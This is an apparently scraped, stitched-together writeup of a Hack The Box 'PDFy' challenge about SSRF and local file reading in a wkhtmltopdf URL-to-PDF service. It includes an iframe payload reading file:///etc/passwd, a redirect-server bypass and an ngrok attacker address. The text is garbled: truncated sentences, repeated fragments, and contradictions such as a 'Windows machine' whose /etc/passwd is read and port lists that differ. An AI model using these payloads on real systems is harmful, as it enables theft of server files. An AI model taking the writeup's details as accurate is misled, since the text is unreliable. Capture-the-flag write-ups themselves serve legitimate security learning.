PDFy is a medium-to-hard Windows machine focused on LFI/initial foothold via a web application that processes PDFs, followed by privilege escalation through misconfigured services and credential reuse. This writeup outlines an updated, concise path to user and root flags.
To bypass this restriction, you must use a . By hosting an external script that sends a redirect header to a local resource, the backend parser follows the redirect internally, circumventing the frontend URL filtering. 2. Step-by-Step Walkthrough Step 1: Initial Reconnaissance
Tip: If the direct file:// protocol is blocked or fails, you can host a simple redirect script on your own server (using Serveo to expose it) that redirects the HTB bot to the local file.
Resubmit your script's URL into the target application form to render the updated contents, opening the newly created PDF to capture the final Hack The Box flag. 3. Remediation & Hardening Strategies
The first breakthrough came from testing the boundaries of that URL input. By pointing the tool toward a local loopback address, the researcher confirmed a Server-Side Request Forgery (SSRF) vulnerability. The server wasn't just fetching public websites; it was willing to talk to itself. : Lack of input validation on the submitted URL. pdfy htb writeup upd
ngrok will provide a public address, for example, tcp://0.tcp.us-cal-1.ngrok.io:19086 . However, the PDFy application expects an http:// URL. We can simply replace tcp:// with http:// in our payload. So our final attacker server address becomes http://0.tcp.us-cal-1.ngrok.io:19086 .
[Attacker Node] ---> (Submits Malicious URL) ---> [PDFy Web Server] ---> (Fetches Page via wkhtmltopdf) ---> [Attacker's Exploitation Server (302 Redirect)] ---> [Internal System Files (file:///)]
This revealed several open ports, with notable services including an HTTP server running on port 80 and a PDF-related service on port 8080.
When developers implement utilities like wkhtmltopdf without strict input sanitization, they open the door to critical internal network exposure and local file read vulnerabilities. This comprehensive writeup covers the entire lifecycle of exploiting PDFy, from initial enumeration to grabbing the final flag using an updated, reliable redirection method. 🛠️ Challenge Overview & Environment Setup PDFy is a medium-to-hard Windows machine focused on
<!DOCTYPE html> <html> <body> <iframe src="file:///etc/passwd" height="1000px" width="1000px"></iframe> </body> </html>
If you are currently working on this challenge and want to make the next move, let me know: What are you currently using for reconnaissance?
: Using tools like gobuster or dirsearch , we uncover hidden directories and files.
As always, we start with an Nmap scan to see which ports are open. nmap -sC -sV -oN nmap_report.txt Use code with caution. Port 22 (SSH): Standard OpenSSH. Port 80 (HTTP): An Apache web server. By hosting an external script that sends a
A web application that converts provided URLs into PDF documents. Vulnerability: Insecure URL handling during PDF generation.
The core vulnerability in the PDFy challenge often revolves around how the backend handles the PDF generation. If the application allows us to input a URL or raw HTML to be rendered into a PDF, we must consider .
Knowing the functionality, we focus on how the server processes the input. Identifying the PDF Generator
"endpoint": "/download", "methods": ["GET"]